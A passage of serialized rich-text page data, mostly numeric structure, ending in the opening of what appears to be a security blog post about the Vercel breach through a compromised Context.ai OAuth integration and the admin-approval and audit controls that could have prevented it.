value":4205,"nodeType":865},{},[16267],{"type":935},{"data":16269,"content":16270,"nodeType":866},{},[16271],{"data":16272,"marks":16273,"value":4212,"nodeType":865},{},[],{"data":16275,"content":16276,"nodeType":2374},{},[16277,16290],{"data":16278,"content":16279,"nodeType":2309},{},[16280],{"data":16281,"content":16282,"nodeType":866},{},[16283,16287],{"data":16284,"marks":16285,"value":4226,"nodeType":865},{},[16286],{"type":935},{"data":16288,"marks":16289,"value":4230,"nodeType":865},{},[],{"data":16291,"content":16292,"nodeType":2309},{},[16293],{"data":16294,"content":16295,"nodeType":866},{},[16296,16300],{"data":16297,"marks":16298,"value":4241,"nodeType":865},{},[16299],{"type":935},{"data":16301,"marks":16302,"value":4245,"nodeType":865},{},[],{"data":16304,"content":16305,"nodeType":866},{},[16306],{"data":16307,"marks":16308,"value":4252,"nodeType":865},{},[],{"data":16310,"content":16313,"nodeType":921},{"target":16311},{"sys":16312},{"id":4257,"type":918,"linkType":919},[],{"data":16315,"content":16316,"nodeType":866},{},[16317],{"data":16318,"marks":16319,"value":4265,"nodeType":865},{},[],{"data":16321,"content":16322,"nodeType":2374},{},[16323,16336,16349],{"data":16324,"content":16325,"nodeType":2309},{},[16326],{"data":16327,"content":16328,"nodeType":866},{},[16329,16333],{"data":16330,"marks":16331,"value":4279,"nodeType":865},{},[16332],{"type":935},{"data":16334,"marks":16335,"value":4283,"nodeType":865},{},[],{"data":16337,"content":16338,"nodeType":2309},{},[16339],{"data":16340,"content":16341,"nodeType":866},{},[16342,16346],{"data":16343,"marks":16344,"value":4294,"nodeType":865},{},[16345],{"type":935},{"data":16347,"marks":16348,"value":4298,"nodeType":865},{},[],{"data":16350,"content":16351,"nodeType":2309},{},[16352],{"data":16353,"content":16354,"nodeType":866},{},[16355,16359],{"data":16356,"marks":16357,"value":4309,"nodeType":865},{},[16358],{"type":935},{"data":16360,"marks":16361,"value":4313,"nodeType":865},{},[],{"data":16363,"content":16364,"nodeType":866},{},[16365],{"data":16366,"marks":16367,"value":4320,"nodeType":865},{},[],{"data":16369,"content":16370,"nodeType":1229},{},[16371],{"data":16372,"marks":16373,"value":4328,"nodeType":865},{},[16374],{"type":935},{"data":16376,"content":16377,"nodeType":866},{},[16378],{"data":16379,"marks":16380,"value":4335,"nodeType":865},{},[],{"data":16382,"content":16385,"nodeType":921},{"target":16383},{"sys":16384},{"id":4340,"type":918,"linkType":919},[],{"data":16387,"content":16388,"nodeType":866},{},[16389],{"data":16390,"marks":16391,"value":4348,"nodeType":865},{},[],{"data":16393,"content":16394,"nodeType":866},{},[16395],{"data":16396,"marks":16397,"value":4355,"nodeType":865},{},[],{"data":16399,"content":16402,"nodeType":921},{"target":16400},{"sys":16401},{"id":4360,"type":918,"linkType":919},[],{"data":16404,"content":16405,"nodeType":866},{},[16406],{"data":16407,"marks":16408,"value":4368,"nodeType":865},{},[],{"data":16410,"content":16411,"nodeType":2374},{},[16412,16425],{"data":16413,"content":16414,"nodeType":2309},{},[16415],{"data":16416,"content":16417,"nodeType":866},{},[16418,16422],{"data":16419,"marks":16420,"value":4382,"nodeType":865},{},[16421],{"type":935},{"data":16423,"marks":16424,"value":4386,"nodeType":865},{},[],{"data":16426,"content":16427,"nodeType":2309},{},[16428],{"data":16429,"content":16430,"nodeType":866},{},[16431,16435],{"data":16432,"marks":16433,"value":4397,"nodeType":865},{},[16434],{"type":935},{"data":16436,"marks":16437,"value":4401,"nodeType":865},{},[],{"data":16439,"content":16440,"nodeType":866},{},[16441],{"data":16442,"marks":16443,"value":4408,"nodeType":865},{},[],{"data":16445,"content":16448,"nodeType":921},{"target":16446},{"sys":16447},{"id":4413,"type":918,"linkType":919},[],{"data":16450,"content":16451,"nodeType":944},{},[],{"data":16453,"content":16454,"nodeType":953},{},[16455],{"data":16456,"marks":16457,"value":4425,"nodeType":865},{},[16458],{"type":935},{"data":16460,"content":16461,"nodeType":866},{},[16462],{"data":16463,"marks":16464,"value":4432,"nodeType":865},{},[],{"data":16466,"content":16467,"nodeType":866},{},[16468],{"data":16469,"marks":16470,"value":4439,"nodeType":865},{},[],{"data":16472,"content":16473,"nodeType":866},{},[16474],{"data":16475,"marks":16476,"value":4446,"nodeType":865},{},[],{"data":16478,"content":16481,"nodeType":921},{"target":16479},{"sys":16480},{"id":4451,"type":918,"linkType":919},[],{"data":16483,"content":16484,"nodeType":866},{},[16485],{"data":16486,"marks":16487,"value":4459,"nodeType":865},{},[],{"data":16489,"content":16490,"nodeType":866},{},[16491],{"data":16492,"marks":16493,"value":4466,"nodeType":865},{},[],{"data":16495,"content":16498,"nodeType":921},{"target":16496},{"sys":16497},{"id":4471,"type":918,"linkType":919},[],{"data":16500,"content":16501,"nodeType":866},{},[16502],{"data":16503,"marks":16504,"value":4479,"nodeType":865},{},[],{"data":16506,"content":16509,"nodeType":921},{"target":16507},{"sys":16508},{"id":4484,"type":918,"linkType":919},[],{"data":16511,"content":16512,"nodeType":866},{},[16513],{"data":16514,"marks":16515,"value":4492,"nodeType":865},{},[],{"data":16517,"content":16520,"nodeType":921},{"target":16518},{"sys":16519},{"id":4497,"type":918,"linkType":919},[],{"data":16522,"content":16523,"nodeType":866},{},[16524],{"data":16525,"marks":16526,"value":4505,"nodeType":865},{},[],{"data":16528,"content":16529,"nodeType":866},{},[16530],{"data":16531,"marks":16532,"value":4512,"nodeType":865},{},[],{"data":16534,"content":16535,"nodeType":944},{},[],{"data":16537,"content":16538,"nodeType":953},{},[16539],{"data":16540,"marks":16541,"value":4523,"nodeType":865},{},[16542],{"type":935},{"data":16544,"content":16545,"nodeType":866},{},[16546,16549,16553],{"data":16547,"marks":16548,"value":4530,"nodeType":865},{},[],{"data":16550,"marks":16551,"value":4535,"nodeType":865},{},[16552],{"type":935},{"data":16554,"marks":16555,"value":4539,"nodeType":865},{},[],{"data":16557,"content":16558,"nodeType":1229},{},[16559],{"data":16560,"marks":16561,"value":4546,"nodeType":865},{},[],{"data":16563,"content":16564,"nodeType":866},{},[16565,16568,16575],{"data":16566,"marks":16567,"value":4553,"nodeType":865},{},[],{"data":16569,"content":16570,"nodeType":889},{"uri":4556},[16571],{"data":16572,"marks":16573,"value":4562,"nodeType":865},{},[16574],{"type":1191},{"data":16576,"marks":16577,"value":4566,"nodeType":865},{},[],{"data":16579,"content":16580,"nodeType":1656},{},[16581,16604,16631,16652,16697,16736,16757,16778],{"data":16582,"content":16583,"nodeType":1563},{},[16584,16594],{"data":16585,"content":16586,"nodeType":1577},{},[16587],{"data":16588,"content":16589,"nodeType":866},{},[16590],{"data":16591,"marks":16592,"value":4583,"nodeType":865},{},[16593],{"type":935},{"data":16595,"content":16596,"nodeType":1577},{},[16597],{"data":16598,"content":16599,"nodeType":866},{},[16600],{"data":16601,"marks":16602,"value":4079,"nodeType":865},{},[16603],{"type":935},{"data":16605,"content":16606,"nodeType":1563},{},[16607,16616],{"data":16608,"content":16609,"nodeType":1577},{},[16610],{"data":16611,"content":16612,"nodeType":866},{},[16613],{"data":16614,"marks":16615,"value":4107,"nodeType":865},{},[],{"data":16617,"content":16618,"nodeType":1577},{},[16619,16625],{"data":16620,"content":16621,"nodeType":866},{},[16622],{"data":16623,"marks":16624,"value":4615,"nodeType":865},{},[],{"data":16626,"content":16627,"nodeType":866},{},[16628],{"data":16629,"marks":16630,"value":4622,"nodeType":865},{},[],{"data":16632,"content":16633,"nodeType":1563},{},[16634,16643],{"data":16635,"content":16636,"nodeType":1577},{},[16637],{"data":16638,"content":16639,"nodeType":866},{},[16640],{"data":16641,"marks":16642,"value":4635,"nodeType":865},{},[],{"data":16644,"content":16645,"nodeType":1577},{},[16646],{"data":16647,"content":16648,"nodeType":866},{},[16649],{"data":16650,"marks":16651,"value":4645,"nodeType":865},{},[],{"data":16653,"content":16654,"nodeType":1563},{},[16655,16664],{"data":16656,"content":16657,"nodeType":1577},{},[16658],{"data":16659,"content":16660,"nodeType":866},{},[16661],{"data":16662,"marks":16663,"value":4658,"nodeType":865},{},[],{"data":16665,"content":16666,"nodeType":1577},{},[16667,16673,16679,16685,16691],{"data":16668,"content":16669,"nodeType":866},{},[16670],{"data":16671,"marks":16672,"value":4668,"nodeType":865},{},[],{"data":16674,"content":16675,"nodeType":866},{},[16676],{"data":16677,"marks":16678,"value":4675,"nodeType":865},{},[],{"data":16680,"content":16681,"nodeType":866},{},[16682],{"data":16683,"marks":16684,"value":4682,"nodeType":865},{},[],{"data":16686,"content":16687,"nodeType":866},{},[16688],{"data":16689,"marks":16690,"value":4689,"nodeType":865},{},[],{"data":16692,"content":16693,"nodeType":866},{},[16694],{"data":16695,"marks":16696,"value":4696,"nodeType":865},{},[],{"data":16698,"content":16699,"nodeType":1563},{},[16700,16709],{"data":16701,"content":16702,"nodeType":1577},{},[16703],{"data":16704,"content":16705,"nodeType":866},{},[16706],{"data":16707,"marks":16708,"value":4709,"nodeType":865},{},[],{"data":16710,"content":16711,"nodeType":1577},{},[16712,16718,16724,16730],{"data":16713,"content":16714,"nodeType":866},{},[16715],{"data":16716,"marks":16717,"value":4719,"nodeType":865},{},[],{"data":16719,"content":16720,"nodeType":866},{},[16721],{"data":16722,"marks":16723,"value":4726,"nodeType":865},{},[],{"data":16725,"content":16726,"nodeType":866},{},[16727],{"data":16728,"marks":16729,"value":4733,"nodeType":865},{},[],{"data":16731,"content":16732,"nodeType":866},{},[16733],{"data":16734,"marks":16735,"value":4740,"nodeType":865},{},[],{"data":16737,"content":16738,"nodeType":1563},{},[16739,16748],{"data":16740,"content":16741,"nodeType":1577},{},[16742],{"data":16743,"content":16744,"nodeType":866},{},[16745],{"data":16746,"marks":16747,"value":4753,"nodeType":865},{},[],{"data":16749,"content":16750,"nodeType":1577},{},[16751],{"data":16752,"content":16753,"nodeType":866},{},[16754],{"data":16755,"marks":16756,"value":4763,"nodeType":865},{},[],{"data":16758,"content":16759,"nodeType":1563},{},[16760,16769],{"data":16761,"content":16762,"nodeType":1577},{},[16763],{"data":16764,"content":16765,"nodeType":866},{},[16766],{"data":16767,"marks":16768,"value":4776,"nodeType":865},{},[],{"data":16770,"content":16771,"nodeType":1577},{},[16772],{"data":16773,"content":16774,"nodeType":866},{},[16775],{"data":16776,"marks":16777,"value":4786,"nodeType":865},{},[],{"data":16779,"content":16780,"nodeType":1563},{},[16781,16790],{"data":16782,"content":16783,"nodeType":1577},{},[16784],{"data":16785,"content":16786,"nodeType":866},{},[16787],{"data":16788,"marks":16789,"value":4799,"nodeType":865},{},[],{"data":16791,"content":16792,"nodeType":1577},{},[16793],{"data":16794,"content":16795,"nodeType":866},{},[16796],{"data":16797,"marks":16798,"value":4809,"nodeType":865},{},[],{"data":16800,"content":16801,"nodeType":1229},{},[16802],{"data":16803,"marks":16804,"value":4816,"nodeType":865},{},[],{"data":16806,"content":16807,"nodeType":866},{},[16808,16811,16818,16821,16828],{"data":16809,"marks":16810,"value":4823,"nodeType":865},{},[],{"data":16812,"content":16813,"nodeType":889},{"uri":4556},[16814],{"data":16815,"marks":16816,"value":4831,"nodeType":865},{},[16817],{"type":1191},{"data":16819,"marks":16820,"value":4835,"nodeType":865},{},[],{"data":16822,"content":16823,"nodeType":889},{"uri":4838},[16824],{"data":16825,"marks":16826,"value":4844,"nodeType":865},{},[16827],{"type":1191},{"data":16829,"marks":16830,"value":4848,"nodeType":865},{},[],{"data":16832,"content":16833,"nodeType":1656},{},[16834,16857,16896,16917,16950,16989,17010,17031],{"data":16835,"content":16836,"nodeType":1563},{},[16837,16847],{"data":16838,"content":16839,"nodeType":1577},{},[16840],{"data":16841,"content":16842,"nodeType":866},{},[16843],{"data":16844,"marks":16845,"value":4583,"nodeType":865},{},[16846],{"type":935},{"data":16848,"content":16849,"nodeType":1577},{},[16850],{"data":16851,"content":16852,"nodeType":866},{},[16853],{"data":16854,"marks":16855,"value":4205,"nodeType":865},{},[16856],{"type":935},{"data":16858,"content":16859,"nodeType":1563},{},[16860,16869],{"data":16861,"content":16862,"nodeType":1577},{},[16863],{"data":16864,"content":16865,"nodeType":866},{},[16866],{"data":16867,"marks":16868,"value":4107,"nodeType":865},{},[],{"data":16870,"content":16871,"nodeType":1577},{},[16872,16878,16884,16890],{"data":16873,"content":16874,"nodeType":866},{},[16875],{"data":16876,"marks":16877,"value":4896,"nodeType":865},{},[],{"data":16879,"content":16880,"nodeType":866},{},[16881],{"data":16882,"marks":16883,"value":4903,"nodeType":865},{},[],{"data":16885,"content":16886,"nodeType":866},{},[16887],{"data":16888,"marks":16889,"value":4910,"nodeType":865},{},[],{"data":16891,"content":16892,"nodeType":866},{},[16893],{"data":16894,"marks":16895,"value":4917,"nodeType":865},{},[],{"data":16897,"content":16898,"nodeType":1563},{},[16899,16908],{"data":16900,"content":16901,"nodeType":1577},{},[16902],{"data":16903,"content":16904,"nodeType":866},{},[16905],{"data":16906,"marks":16907,"value":4635,"nodeType":865},{},[],{"data":16909,"content":16910,"nodeType":1577},{},[16911],{"data":16912,"content":16913,"nodeType":866},{},[16914],{"data":16915,"marks":16916,"value":4939,"nodeType":865},{},[],{"data":16918,"content":16919,"nodeType":1563},{},[16920,16929],{"data":16921,"content":16922,"nodeType":1577},{},[16923],{"data":16924,"content":16925,"nodeType":866},{},[16926],{"data":16927,"marks":16928,"value":4658,"nodeType":865},{},[],{"data":16930,"content":16931,"nodeType":1577},{},[16932,16938,16944],{"data":16933,"content":16934,"nodeType":866},{},[16935],{"data":16936,"marks":16937,"value":4961,"nodeType":865},{},[],{"data":16939,"content":16940,"nodeType":866},{},[16941],{"data":16942,"marks":16943,"value":4968,"nodeType":865},{},[],{"data":16945,"content":16946,"nodeType":866},{},[16947],{"data":16948,"marks":16949,"value":4696,"nodeType":865},{},[],{"data":16951,"content":16952,"nodeType":1563},{},[16953,16962],{"data":16954,"content":16955,"nodeType":1577},{},[16956],{"data":16957,"content":16958,"nodeType":866},{},[16959],{"data":16960,"marks":16961,"value":4709,"nodeType":865},{},[],{"data":16963,"content":16964,"nodeType":1577},{},[16965,16971,16977,16983],{"data":16966,"content":16967,"nodeType":866},{},[16968],{"data":16969,"marks":16970,"value":4996,"nodeType":865},{},[],{"data":16972,"content":16973,"nodeType":866},{},[16974],{"data":16975,"marks":16976,"value":5003,"nodeType":865},{},[],{"data":16978,"content":16979,"nodeType":866},{},[16980],{"data":16981,"marks":16982,"value":5010,"nodeType":865},{},[],{"data":16984,"content":16985,"nodeType":866},{},[16986],{"data":16987,"marks":16988,"value":5017,"nodeType":865},{},[],{"data":16990,"content":16991,"nodeType":1563},{},[16992,17001],{"data":16993,"content":16994,"nodeType":1577},{},[16995],{"data":16996,"content":16997,"nodeType":866},{},[16998],{"data":16999,"marks":17000,"value":4753,"nodeType":865},{},[],{"data":17002,"content":17003,"nodeType":1577},{},[17004],{"data":17005,"content":17006,"nodeType":866},{},[17007],{"data":17008,"marks":17009,"value":5039,"nodeType":865},{},[],{"data":17011,"content":17012,"nodeType":1563},{},[17013,17022],{"data":17014,"content":17015,"nodeType":1577},{},[17016],{"data":17017,"content":17018,"nodeType":866},{},[17019],{"data":17020,"marks":17021,"value":4776,"nodeType":865},{},[],{"data":17023,"content":17024,"nodeType":1577},{},[17025],{"data":17026,"content":17027,"nodeType":866},{},[17028],{"data":17029,"marks":17030,"value":5061,"nodeType":865},{},[],{"data":17032,"content":17033,"nodeType":1563},{},[17034,17043],{"data":17035,"content":17036,"nodeType":1577},{},[17037],{"data":17038,"content":17039,"nodeType":866},{},[17040],{"data":17041,"marks":17042,"value":4799,"nodeType":865},{},[],{"data":17044,"content":17045,"nodeType":1577},{},[17046],{"data":17047,"content":17048,"nodeType":866},{},[17049],{"data":17050,"marks":17051,"value":5083,"nodeType":865},{},[],{"data":17053,"content":17054,"nodeType":1229},{},[17055],{"data":17056,"marks":17057,"value":5090,"nodeType":865},{},[],{"data":17059,"content":17060,"nodeType":866},{},[17061],{"data":17062,"marks":17063,"value":5097,"nodeType":865},{},[],{"data":17065,"content":17066,"nodeType":1656},{},[17067,17090,17111,17132,17153,17192,17213,17234],{"data":17068,"content":17069,"nodeType":1563},{},[17070,17080],{"data":17071,"content":17072,"nodeType":1577},{},[17073],{"data":17074,"content":17075,"nodeType":866},{},[17076],{"data":17077,"marks":17078,"value":4583,"nodeType":865},{},[17079],{"type":935},{"data":17081,"content":17082,"nodeType":1577},{},[17083],{"data":17084,"content":17085,"nodeType":866},{},[17086],{"data":17087,"marks":17088,"value":5124,"nodeType":865},{},[17089],{"type":935},{"data":17091,"content":17092,"nodeType":1563},{},[17093,17102],{"data":17094,"content":17095,"nodeType":1577},{},[17096],{"data":17097,"content":17098,"nodeType":866},{},[17099],{"data":17100,"marks":17101,"value":4107,"nodeType":865},{},[],{"data":17103,"content":17104,"nodeType":1577},{},[17105],{"data":17106,"content":17107,"nodeType":866},{},[17108],{"data":17109,"marks":17110,"value":5146,"nodeType":865},{},[],{"data":17112,"content":17113,"nodeType":1563},{},[17114,17123],{"data":17115,"content":17116,"nodeType":1577},{},[17117],{"data":17118,"content":17119,"nodeType":866},{},[17120],{"data":17121,"marks":17122,"value":4635,"nodeType":865},{},[],{"data":17124,"content":17125,"nodeType":1577},{},[17126],{"data":17127,"content":17128,"nodeType":866},{},[17129],{"data":17130,"marks":17131,"value":5168,"nodeType":865},{},[],{"data":17133,"content":17134,"nodeType":1563},{},[17135,17144],{"data":17136,"content":17137,"nodeType":1577},{},[17138],{"data":17139,"content":17140,"nodeType":866},{},[17141],{"data":17142,"marks":17143,"value":4658,"nodeType":865},{},[],{"data":17145,"content":17146,"nodeType":1577},{},[17147],{"data":17148,"content":17149,"nodeType":866},{},[17150],{"data":17151,"marks":17152,"value":5190,"nodeType":865},{},[],{"data":17154,"content":17155,"nodeType":1563},{},[17156,17165],{"data":17157,"content":17158,"nodeType":1577},{},[17159],{"data":17160,"content":17161,"nodeType":866},{},[17162],{"data":17163,"marks":17164,"value":4709,"nodeType":865},{},[],{"data":17166,"content":17167,"nodeType":1577},{},[17168,17174,17180,17186],{"data":17169,"content":17170,"nodeType":866},{},[17171],{"data":17172,"marks":17173,"value":5212,"nodeType":865},{},[],{"data":17175,"content":17176,"nodeType":866},{},[17177],{"data":17178,"marks":17179,"value":5219,"nodeType":865},{},[],{"data":17181,"content":17182,"nodeType":866},{},[17183],{"data":17184,"marks":17185,"value":5226,"nodeType":865},{},[],{"data":17187,"content":17188,"nodeType":866},{},[17189],{"data":17190,"marks":17191,"value":5233,"nodeType":865},{},[],{"data":17193,"content":17194,"nodeType":1563},{},[17195,17204],{"data":17196,"content":17197,"nodeType":1577},{},[17198],{"data":17199,"content":17200,"nodeType":866},{},[17201],{"data":17202,"marks":17203,"value":4753,"nodeType":865},{},[],{"data":17205,"content":17206,"nodeType":1577},{},[17207],{"data":17208,"content":17209,"nodeType":866},{},[17210],{"data":17211,"marks":17212,"value":5039,"nodeType":865},{},[],{"data":17214,"content":17215,"nodeType":1563},{},[17216,17225],{"data":17217,"content":17218,"nodeType":1577},{},[17219],{"data":17220,"content":17221,"nodeType":866},{},[17222],{"data":17223,"marks":17224,"value":4776,"nodeType":865},{},[],{"data":17226,"content":17227,"nodeType":1577},{},[17228],{"data":17229,"content":17230,"nodeType":866},{},[17231],{"data":17232,"marks":17233,"value":5276,"nodeType":865},{},[],{"data":17235,"content":17236,"nodeType":1563},{},[17237,17246],{"data":17238,"content":17239,"nodeType":1577},{},[17240],{"data":17241,"content":17242,"nodeType":866},{},[17243],{"data":17244,"marks":17245,"value":4799,"nodeType":865},{},[],{"data":17247,"content":17248,"nodeType":1577},{},[17249],{"data":17250,"content":17251,"nodeType":866},{},[17252],{"data":17253,"marks":17254,"value":5298,"nodeType":865},{},[],{"data":17256,"content":17257,"nodeType":1229},{},[17258],{"data":17259,"marks":17260,"value":5305,"nodeType":865},{},[],{"data":17262,"content":17263,"nodeType":1656},{},[17264,17287,17308,17329,17350,17377,17398,17419],{"data":17265,"content":17266,"nodeType":1563},{},[17267,17277],{"data":17268,"content":17269,"nodeType":1577},{},[17270],{"data":17271,"content":17272,"nodeType":866},{},[17273],{"data":17274,"marks":17275,"value":4583,"nodeType":865},{},[17276],{"type":935},{"data":17278,"content":17279,"nodeType":1577},{},[17280],{"data":17281,"content":17282,"nodeType":866},{},[17283],{"data":17284,"marks":17285,"value":5332,"nodeType":865},{},[17286],{"type":935},{"data":17288,"content":17289,"nodeType":1563},{},[17290,17299],{"data":17291,"content":17292,"nodeType":1577},{},[17293],{"data":17294,"content":17295,"nodeType":866},{},[17296],{"data":17297,"marks":17298,"value":4107,"nodeType":865},{},[],{"data":17300,"content":17301,"nodeType":1577},{},[17302],{"data":17303,"content":17304,"nodeType":866},{},[17305],{"data":17306,"marks":17307,"value":5354,"nodeType":865},{},[],{"data":17309,"content":17310,"nodeType":1563},{},[17311,17320],{"data":17312,"content":17313,"nodeType":1577},{},[17314],{"data":17315,"content":17316,"nodeType":866},{},[17317],{"data":17318,"marks":17319,"value":4635,"nodeType":865},{},[],{"data":17321,"content":17322,"nodeType":1577},{},[17323],{"data":17324,"content":17325,"nodeType":866},{},[17326],{"data":17327,"marks":17328,"value":5376,"nodeType":865},{},[],{"data":17330,"content":17331,"nodeType":1563},{},[17332,17341],{"data":17333,"content":17334,"nodeType":1577},{},[17335],{"data":17336,"content":17337,"nodeType":866},{},[17338],{"data":17339,"marks":17340,"value":4658,"nodeType":865},{},[],{"data":17342,"content":17343,"nodeType":1577},{},[17344],{"data":17345,"content":17346,"nodeType":866},{},[17347],{"data":17348,"marks":17349,"value":5398,"nodeType":865},{},[],{"data":17351,"content":17352,"nodeType":1563},{},[17353,17362],{"data":17354,"content":17355,"nodeType":1577},{},[17356],{"data":17357,"content":17358,"nodeType":866},{},[17359],{"data":17360,"marks":17361,"value":4709,"nodeType":865},{},[],{"data":17363,"content":17364,"nodeType":1577},{},[17365,17371],{"data":17366,"content":17367,"nodeType":866},{},[17368],{"data":17369,"marks":17370,"value":5420,"nodeType":865},{},[],{"data":17372,"content":17373,"nodeType":866},{},[17374],{"data":17375,"marks":17376,"value":5427,"nodeType":865},{},[],{"data":17378,"content":17379,"nodeType":1563},{},[17380,17389],{"data":17381,"content":17382,"nodeType":1577},{},[17383],{"data":17384,"content":17385,"nodeType":866},{},[17386],{"data":17387,"marks":17388,"value":4753,"nodeType":865},{},[],{"data":17390,"content":17391,"nodeType":1577},{},[17392],{"data":17393,"content":17394,"nodeType":866},{},[17395],{"data":17396,"marks":17397,"value":4763,"nodeType":865},{},[],{"data":17399,"content":17400,"nodeType":1563},{},[17401,17410],{"data":17402,"content":17403,"nodeType":1577},{},[17404],{"data":17405,"content":17406,"nodeType":866},{},[17407],{"data":17408,"marks":17409,"value":4776,"nodeType":865},{},[],{"data":17411,"content":17412,"nodeType":1577},{},[17413],{"data":17414,"content":17415,"nodeType":866},{},[17416],{"data":17417,"marks":17418,"value":5276,"nodeType":865},{},[],{"data":17420,"content":17421,"nodeType":1563},{},[17422,17431],{"data":17423,"content":17424,"nodeType":1577},{},[17425],{"data":17426,"content":17427,"nodeType":866},{},[17428],{"data":17429,"marks":17430,"value":4799,"nodeType":865},{},[],{"data":17432,"content":17433,"nodeType":1577},{},[17434],{"data":17435,"content":17436,"nodeType":866},{},[17437],{"data":17438,"marks":17439,"value":5298,"nodeType":865},{},[],{"data":17441,"content":17442,"nodeType":944},{},[],{"data":17444,"content":17445,"nodeType":953},{},[17446],{"data":17447,"marks":17448,"value":5501,"nodeType":865},{},[17449],{"type":935},{"data":17451,"content":17452,"nodeType":866},{},[17453],{"data":17454,"marks":17455,"value":5508,"nodeType":865},{},[],{"data":17457,"content":17458,"nodeType":866},{},[17459],{"data":17460,"marks":17461,"value":5515,"nodeType":865},{},[],{"data":17463,"content":17464,"nodeType":866},{},[17465,17469],{"data":17466,"marks":17467,"value":5523,"nodeType":865},{},[17468],{"type":935},{"data":17470,"marks":17471,"value":5527,"nodeType":865},{},[],{"data":17473,"content":17474,"nodeType":944},{},[],{"data":17476,"content":17477,"nodeType":953},{},[17478],{"data":17479,"marks":17480,"value":1507,"nodeType":865},{},[17481],{"type":935},{"data":17483,"content":17484,"nodeType":866},{},[17485,17488,17494],{"data":17486,"marks":17487,"value":5544,"nodeType":865},{},[],{"data":17489,"content":17490,"nodeType":889},{"uri":1517},[17491],{"data":17492,"marks":17493,"value":1522,"nodeType":865},{},[],{"data":17495,"marks":17496,"value":5554,"nodeType":865},{},[],{"data":17498,"content":17499,"nodeType":866},{},[17500,17503,17509],{"data":17501,"marks":17502,"value":21,"nodeType":865},{},[],{"data":17504,"content":17505,"nodeType":889},{"uri":5563},[17506],{"data":17507,"marks":17508,"value":5568,"nodeType":865},{},[],{"data":17510,"marks":17511,"value":21,"nodeType":865},{},[],{"data":17513,"content":17514,"nodeType":866},{},[17515],{"data":17516,"marks":17517,"value":1461,"nodeType":865},{},[17518],{"type":935},{"data":17520,"content":17521,"nodeType":944},{},[],{"data":17523,"content":17524,"nodeType":953},{},[17525],{"data":17526,"marks":17527,"value":5589,"nodeType":865},{},[17528],{"type":935},{"data":17530,"content":17531,"nodeType":866},{},[17532,17535,17541],{"data":17533,"marks":17534,"value":5596,"nodeType":865},{},[],{"data":17536,"content":17537,"nodeType":889},{"uri":2644},[17538],{"data":17539,"marks":17540,"value":2649,"nodeType":865},{},[],{"data":17542,"marks":17543,"value":2653,"nodeType":865},{},[],{"items":17545},[17546,17548],{"sys":17547,"name":2663},{"id":2662},{"sys":17549,"name":342},{"id":2666},{"items":17551},[17552],{"fullName":5619,"firstName":5620,"jobTitle":2672,"profilePicture":17553},{"url":5622},{"__typename":1802,"sys":17555,"content":17557,"title":18301,"synopsis":18302,"hashTags":59,"publishedDate":18303,"slug":18304,"tagsCollection":18305,"authorsCollection":18311},{"id":17556},"Lq2AFQ8VG2rMEe4h2CYuH",{"json":17558},{"data":17559,"content":17560,"nodeType":1663},{},[17561,17588,17621,17628,17634,17637,17645,17652,17658,17677,17684,17692,17712,17728,17735,17742,17745,17753,17760,17767,17830,17837,17845,17857,17864,17871,17877,17885,17892,17899,17906,17913,17919,17927,17934,18019,18025,18028,18036,18043,18059,18066,18073,18079,18098,18101,18109,18116,18122,18141,18148,18155,18161,18164,18171,18178,18185,18191,18198,18204,18210,18235,18241,18253,18260,18267],{"data":17562,"content":17563,"nodeType":866},{},[17564,17568,17576,17580,17585],{"data":17565,"marks":17566,"value":17567,"nodeType":865},{},[],"This week, a user going by the name of “ShinyHunters” (though allegedly not ",{"data":17569,"content":17570,"nodeType":889},{"uri":2299},[17571],{"data":17572,"marks":17573,"value":17575,"nodeType":865},{},[17574],{"type":1191},"actual ShinyHunters",{"data":17577,"marks":17578,"value":17579,"nodeType":865},{},[],", but someone imitating them in an attempt to trade off their credibility) posted on a breach forum claiming access keys, source code, and database data stolen from cloud development platform provider ",{"data":17581,"marks":17582,"value":17584,"nodeType":865},{},[17583],{"type":935},"Vercel",{"data":17586,"marks":17587,"value":3017,"nodeType":865},{},[],{"data":17589,"content":17590,"nodeType":866},{},[17591,17595,17604,17608,17617],{"data":17592,"marks":17593,"value":17594,"nodeType":865},{},[],"This happened because a Vercel employee had connected an AI app, Context.ai, into their Google Workspace tenant. When Context.ai was compromised — ",{"data":17596,"content":17598,"nodeType":889},{"uri":17597},"https://www.infostealers.com/article/breaking-vercel-breach-linked-to-infostealer-infection-at-context-ai/",[17599],{"data":17600,"marks":17601,"value":17603,"nodeType":865},{},[17602],{"type":1191},"allegedly the result of an infostealer infection from an employee searching for Roblox cheats",{"data":17605,"marks":17606,"value":17607,"nodeType":865},{},[]," — the attacker was able to leverage OAuth tokens stored in Context.ai’s Supabase platform to access downstream customer accounts (pointing to a heavily permissioned victim, probably a developer, possibly even a ",{"data":17609,"content":17611,"nodeType":889},{"uri":17610},"https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches/",[17612],{"data":17613,"marks":17614,"value":17616,"nodeType":865},{},[17615],{"type":1191},"personal device with access to corp credentials",{"data":17618,"marks":17619,"value":17620,"nodeType":865},{},[],"). ",{"data":17622,"content":17623,"nodeType":866},{},[17624],{"data":17625,"marks":17626,"value":17627,"nodeType":865},{},[],"This access included a Vercel employee’s Google Workspace account. This particular user had significant access to data and secrets in Vercel’s systems, including internal dashboards, employee records, API keys, NPM tokens, and GitHub tokens, which the attacker was able to exfiltrate, holding Vercel to ransom for $2 million. ",{"data":17629,"content":17633,"nodeType":921},{"target":17630},{"sys":17631},{"id":17632,"type":918,"linkType":919},"6Ft8aSnzfYVZ7j57mYeXgQ",[],{"data":17635,"content":17636,"nodeType":944},{},[],{"data":17638,"content":17639,"nodeType":953},{},[17640],{"data":17641,"marks":17642,"value":17644,"nodeType":865},{},[17643],{"type":935},"How did this happen, and what could have stopped it?",{"data":17646,"content":17647,"nodeType":866},{},[17648],{"data":17649,"marks":17650,"value":17651,"nodeType":865},{},[],"From Vercel’s perspective, this attack could have been avoided had their employees been blocked from adding new OAuth integrations without admin approval (a toggle in their Google admin panel, and an essential control in a well-configured environment). Or, if the integration had been flagged in a routine audit and removed. ",{"data":17653,"content":17657,"nodeType":921},{"target":17654},{"sys":17655},{"id":17656,"type":918,"linkType":919},"b5HFvY1m6RnuXL3a95jVt",[],{"data":17659,"content":17660,"nodeType":866},{},[17661,17665,17673],{"data":17662,"marks":17663,"value":17664,"nodeType":865},{},[],"It probably should have been removed, too. The particular OAuth app that was connected into the environment was a deprecated “AI Office Suite” product intended for consumer use. ",{"data":17666,"content":17668,"nodeType":889},{"uri":17667},"https://context.ai/security-update",[17669],{"data":17670,"marks":17671,"value":17672,"nodeType":865},{},[],"According to Context.ai",{"data":17674,"marks":17675,"value":17676,"nodeType":865},{},[],", Vercel aren’t 